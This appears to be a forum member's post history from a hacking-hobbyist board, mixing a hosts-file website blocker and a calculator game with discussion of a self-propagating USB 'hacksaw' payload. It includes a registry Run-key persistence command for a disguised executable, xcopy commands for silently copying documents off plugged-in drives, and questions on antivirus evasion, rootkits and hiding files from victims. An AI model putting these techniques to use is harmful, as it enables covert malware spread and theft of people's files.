Jump to content

sc0rpi0

Active Members
  • Posts

    138
  • Joined

  • Last visited

Posts posted by sc0rpi0

  1. One of two things will happen:

    1. When the program is decrypted the AV grabs it

    or

    2. The AV will detect the embedded code used to decrypt the executable (because the .exe will not magically decrypt itself there needs to be code there to do it) and probably flag that as  a virus / suspicious

    V'cent, sablefoxx is right. The executable will be decrypted into memory at _some_ point, and the AV will grab it.

    The only other solutions are making a rootkit or recompiling source with different settings/addded dummy code.

    Really n00b question:

    How would I go about making a rootkit?

  2. Although Very nice indeed,you might want to include a process hider,as cmd is shown in the ctrl+alt+del menu,and one can hear the hard drive suddenly starting to work...(though these things may be ignored)And my AV detects a pretty big lot of infected files inside of the .7zip...

    Where do you get the process hider?

  3. Theoretically if you encrypt the file strong enough it wouldn't be found by a AV,though it would take longer for the file to run,the stronger the encryptions is the longer it takes to decode it...

    But won't it stop the program from running until it CAN decode it?

  4. Hacksaw batch file n00b question:

    in this line,

    reg.exe add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun /v USBMedia /t REG_SZ /d "%systemroot%$NtUninstallKB931337$sbs.exe" /f || "%appdata%sbsshortcut.exe" /f:"%USERPROFILE%Start MenuProgramsStartup .lnk" /A:C /T:"%appdata%sbssbs.exe" /W:"%appdata%sbs" /I:"%appdata%sbsblank.ico"

    I understand what everything here does except one small part.

    what exectly does "||" do?

    Much appreciated.

  5. Yeah that should be enough, you dont really need to host the update file on your server (although it could make things simpler) but even if you decide to you will have plenty of room. If you want I can help you with this, its been something I have thought about but never implemented into my payload because you would need to re flash every time you update.

    EDIT - Just checked out 50megs.com and I think your better off going with 110mb.com

    This looks good...but not quite as good as:

    http://www.esmartstart.com/

    You get 250 mg. instead of only 110.

    Really fast/easy setup and usage too.

    Of course, if it's just a couple of text files, it won't really matter as much.

    Reading the FAQ at esmartstart.com I noticed that it doesn't support server side scripting, which doesn't leave many options for expansion. 110mb on the other hand does offer this and actually allows 5GB of space.

    Q. Do you offer or allow server-side scripting such as php, cgi, asp, etc.?

    A. We do not offer or permit any server-side scripting such as php, perl, cgi, asp, shtml, cfm, etc. This service is for basic websites written in html. Javascript, which is client-side scripting, is permitted.

    I see...I *should* check out 110mb.

    I assumed wrongly from the title that one only gets 110 megabytes of storage.

  6. Yeah that should be enough, you dont really need to host the update file on your server (although it could make things simpler) but even if you decide to you will have plenty of room. If you want I can help you with this, its been something I have thought about but never implemented into my payload because you would need to re flash every time you update.

    EDIT - Just checked out 50megs.com and I think your better off going with 110mb.com

    This looks good...but not quite as good as:

    http://www.esmartstart.com/

    You get 250 mg. instead of only 110.

    Really fast/easy setup and usage too.

    Of course, if it's just a couple of text files, it won't really matter as much.

  7. Nice, Heres My version. Just a little enhancements, very simple.

    @echo off
    :menu
    echo.
    echo Xqtftqx Website Blocker
    echo Block or Unblock? (B/U)
    SET /P BU=
    cls
    if %bu% equ B goto block
    if %bu% equ b goto block
    if %bu% equ u goto unblock
    if %bu% equ U goto unblock
    echo %BU% Is unvailid
    goto menu
    :block
    cls
    echo Enter URL to block. No "www."
    set /p block=
    cls
    echo Enter IP to redirect to. Use "default" for default ip.
    set /p ip=
    if %ip% equ default set ip=127.0.0.1
    cls
    attrib -r -s C:/windows/system32/drivers/etc/hosts
    echo. >> C:/windows/system32/drivers/etc/hosts
    echo ===[START XQTFTQX BLOCKER, %TIME%,%DATE%]=== >> c:windowssystem32driversetchosts
    echo %ip% www.%block% >> C:/windows/system32/drivers/etc/hosts
    echo %ip% %block% >> C:WINDOWSSYSTEM32DRIVERSETChosts
    echo ===[END XQTFTQX BLOCKER,%TIME%,%DATE%]=== >> C:/windows/system32/drivers/etc/hosts
    echo Blocked
    pause >nul
    exit
    :unblock
    cls
    echo Delete the Line On the Hosts file.
    notepad "C:/windows/system32/drivers/etc/hosts"
    pause >nul
    exit

    A got a lot of the resources from yours so I did about 60% of the work. the other 40% is from yours.

    Nice job. Keep up the good work!

  8. you still haven't told us what the end result you're looking for is

    tell us that and then maybe we can help you

    QFE!

    Where is Vako? I need one of his one-liner n00b killers right about now.

    Don't worry, you won't need him. I found a solution using nircmd.

    Thanks anyway. Now for the explanation of why I asked this question:

    I am constructing a self-progating hacksaw [For experimental purposes only  :-)]

    Frankly, I've never hacksawed anyone or intend to.

    When someone plugs an infected usb drive into their computer, I want to ensure that no one

    knows that their usb drive has been modified. So, I have a batch file autorun which first hides the computer's

    hidden and system files before installing the hacksaw. The registry change that must take place does not refresh fast enough for the

    files to avoid detection. Obviously, I am not on the person's computer so I

    can't just walk up and tap "F5." Not all computers have all hidden and system files hidden.

    but the ones that do will be MUCH more likely to notice

    Is there a way to quickly check if hiding system and hidden folders is on?

  9. you still haven't told us what the end result you're looking for is

    tell us that and then maybe we can help you

    QFE!

    Where is Vako? I need one of his one-liner n00b killers right about now.

    Don't worry, you won't need him. I found a solution using nircmd.

    Thanks anyway. Now for the explanation of why I asked this question:

    I am constructing a self-progating hacksaw [For experimental purposes only  :-)]

    Frankly, I've never hacksawed anyone or intend to.

    When someone plugs an infected usb drive into their computer, I want to ensure that no one

    knows that their usb drive has been modified. So, I have a batch file autorun which first hides the computer's

    hidden and system files before installing the hacksaw. The registry change that must take place does not refresh fast enough for the

    files to avoid detection. Obviously, I am not on the person's computer so I

    can't just walk up and tap "F5." Not all computers have all hidden and system files hidden.

  10. Press F5?

    You could kill and restart explorer.

    Killing explorer is too slow for me.

    I'm looking for something that does exactly what F5 does, only something that can be put in a batch file.

    Sorry I have not been more clear.

  11. you probably want to make the paths relative (as far as possible).

    You see, I'm trying to make a usb dumper batch file which is always looping in the backround. So I can't make them very relative.

    This works:

    xcopy "A:*.doc" "C:folder" /s/c/q/r/h >null

    Only, I get popup error messages when a drive does not exist. Is there a way [registry, etc] of disabling/masking these error messages safely?

    Thanks.

  12. I am currently trying to automate the "backing up" of usb drives.

    I don't want to use the usb dumper, because it is detected by av.

    So, I am trying to do it via a batch file.

    When I run this command however,

    xcopy "D:*.doc" "c:files" /s/c/q/r/h

    it always prompts me whether I want to copy files or directories.

    Is there a way to make it automatically copy all documents from drive D *without* prompting?

    Thanks.

  13. Rephrasing of question:

    Is it possible to create a batch file which when run refreshes windows.

    For example, when I select "show hidden folders" in control panel, it takes my computer about a minute to automatically recognize this  Confused.

    However, once I right click on my desktop and select "refresh" from the menu that pops up, the change is recognized instantly and my hidden folders are viewable. I am wondering if there is a way to create a batch file to automate the process of "refreshing." [Not referring to the web but to my pc]

    Thanks very much.

  14. Although this idea has probably been thought of before I'll mention it anyway.

    If one setup a hacksaw gmail account to force all email skip the inbox and forward it to their yahoo account,

    one could get unlimited space.

  15. I was at school, bored so i did it on my TI-83 PLus calculator

    Ti-83 Plus Code:

    goto 0
    .:By Sablefoxx:.:
    Lbl 0
    ClrHome
    DelVar X
    DelVar Y
    randInt(1,100)->X
    Disp "I am thinking"
    Disp " of a Number"
    Disp "Between"
    input "1 and 100: ", Y
    goto 5
    Lbl 5
    If Y=X
    goto 1
    If Y>X 
    goto 2
    If Y<X
    goto 3
    Lbl 1
    ClrHome
    Disp "You Win it Was", X
    pause
    goto 0
    Lbl 2
    Clr Home
    Disp "You Are Wrong"
    Disp "It is Lower then", Y
    pause
    goto 4
    Lbl 3
    ClrHome
    Disp "Wrong! Guess"
    Disp "Higher then", Y
    pause
    goto 4
    Lbl 4
    ClrHome
    DelVar Y
    input "Guess Again: ", Y
    goto 5

    NOTE: to get the '->' on line 5 use the 'STO->' key above 'ON'

    and you do not type out commands you must choose them from a menu, most can found in the CATALOG

    To make it start calc press PRGM then Press the '-->' until "new" is highlighted press ENTER, press [TAN] [5] [sIN] [LN] [LN] to name it "GUESS" type in code above if you cannot find a certain command try pressing '2nd' then 0 to bring up the CATALOG with just about every Ti-83 command in it.  To Run it goto your home (press 2nd [MODE]) press [PRGM] and select "GUESS" from the menu.  Good Luck!

    Enjoy and happy slacking!

    cool

  16. mkay =]

    *cough*IE sucks*cough*

    IE is an OK browser. Not the most secure though.

    Would I use it for my own computer? Definitely not. However, IE 7 is not as bad as you make it out to be.

    I personally use Mozilla Firefox. Most people I know use IE. So, of course I use that as the default when I am speaking to people.

    Did rebooting fix your problem?

  17. its not that serious... and anyways I have restarted

    browser &still nothing, didnt feel like restarting the whole

    OS because I had other processes running and flushdns

    I didnt even think of that o.O

    For some reason, sometimes when I close my browser, it stays open in the processes, making the change not possible. kill ie.exe in taskmanager. If this doesn't work, restart your computer. If neither works, boy, something is downright wrong with your computer.

    Make sure that the changes to the hosts file were saved and that an av didn't block you re-editing it.

    Sorry if this has caused you any trouble.

  18. having some trouble with the unblocking part though lol, oops?

    I guess my little sisters sure is gonna be mad at me for blocking barbiegirl.com

    I am working on a better unblocking part of the program. For the moment, I just have the HOSTS file you need to edit pop up.

    As stated by another member of this forum, when the file pops up, just delete the bottom line and save the file.

    Please mention any simpler methods of unblocking a site.

    Here's an example of how the bottom line might look if you replaced the barbie site with hak5:

    74.208.74.96 www.barbiegirls.com

×
×
  • Create New...